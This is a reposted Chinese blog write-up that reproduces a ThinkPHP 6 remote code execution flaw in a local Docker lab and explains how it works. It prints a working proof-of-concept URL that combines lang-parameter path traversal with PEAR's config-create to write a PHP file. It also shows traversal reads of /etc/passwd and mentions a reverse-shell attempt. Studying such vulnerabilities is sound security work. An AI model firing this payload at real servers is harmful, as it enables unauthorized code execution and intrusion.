返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >41_tp6的rce漏洞
  • 853
分享到

41_tp6的rce漏洞

php开发语言 2023-09-01 16:09:06 853人浏览 独家记忆
摘要

tp6的rce漏洞 一、环境搭建 使用Docker本地搭建tp6环境 1. 下载镜像 docker pull vulfocus/thinkPHP:6.0.12 2. 端口映射 启动镜像,并将80端口

tp6的rce漏洞

一、环境搭建

使用Docker本地搭建tp6环境

1. 下载镜像

docker pull vulfocus/thinkPHP:6.0.12

在这里插入图片描述

2. 端口映射

启动镜像,并将80端口映射到8081端口,防止80端口冲突,运行容器

docker run -it -d -p 8081:80 1fc5d159922e

在这里插入图片描述

3. 打开网站

默认的网页目录是在public目录下,如果不加public目录无法打开网页

在这里插入图片描述

二、漏洞复现

poc

Http://192.168.11.131:8081/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/+/var/www/html/a.php

使用burp抓包
在这里插入图片描述
然后访问a.php,成功解析php代码
在这里插入图片描述

三、原理分析

参考文章:
https://tttang.com/arcHive/1865/#toc_thinkphp-6
https://www.freebuf.com/articles/WEB/352154.html

首先,需要tp6开启多语言中间件,才能够实现文件包含
具体原理可以去看参考文章

http://192.168.11.131:8081/public/index.php?lang=../../../../../../../../public/index.php

大致上分析是lang这个传的参数,如果不等于默认的参数 zh-cn ,就会调用某个方法,然后不断跟进方法,就可以看到最后会有个include 文件名,这里的文件名就是我们传的参数,因此会造成文件包含

但是直接使用文件包含的话,并没有看到什么效果
可以看到我们想文件包含/etc/passwd,并没有给出回显

http://192.168.11.131:8081/public/index.php?lang=../../../../../../../../etc/passwd

在这里插入图片描述

如果说这是文件包含无回显利用的话,那么我传了个php反弹shell文件上传到了/var/www/html/目录下
在这里插入图片描述
在这里插入图片描述
如果说无回显,但是可以包含文件运行的话,那么就应该触发这个反弹shell,使msf成功连接会话才对,但是这里并未成功
在这里插入图片描述

这里也是我不理解的一个点
这个poc是文件包含了/usr/local/lib/php/pearcmd
/usr/local/lib/php/目录下存在pearcmd.php文件
利用这个文件里面的config-create方法来实现写入任意文件任意内容,造成RCE漏洞

但是这个文件既然被文件包含了,而且被运行了,那么为什么我上面试验的反弹shell没有被文件包含,并且执行,很奇怪
在这里插入图片描述
可以看到poc里面写着config-create方法
直接查看文件内容是找不到这个方法的,因为它里面还引入了很多文件
在这里插入图片描述
通过使用grep递归式的查询可以查找出来

grep -r -E 'config-create' ./php

可以看到是在Config.php文件里面有这个方法
在这里插入图片描述
将这个文件复制到本地

docker cp 0501da4d826b:/usr/local/lib/php/PEAR/Command/Config.php  ./Config.php

在这里插入图片描述
这里的数组是介绍config-create方法
在这里插入图片描述
真正实现config-create功能是在下面的doConfiGCreate方法中,并且给出需要两个参数

这个方法就是实现创建文件的主要的方法,这也是为什么poc后面的格式是那样写的原因

?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/+/var/www/html/a.php

在这里插入图片描述
除了上面的grep找config-create方法之外,还可以使用php pearcmd.php
也可以查看到config-create方法的介绍
config-create是用来创建默认文件的
在这里插入图片描述
在这里插入图片描述

来源地址:https://blog.csdn.net/qq_45301512/article/details/128501832

--结束END--

本文标题: 41_tp6的rce漏洞

本文链接: https://www.lsjlt.com/news/388958.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作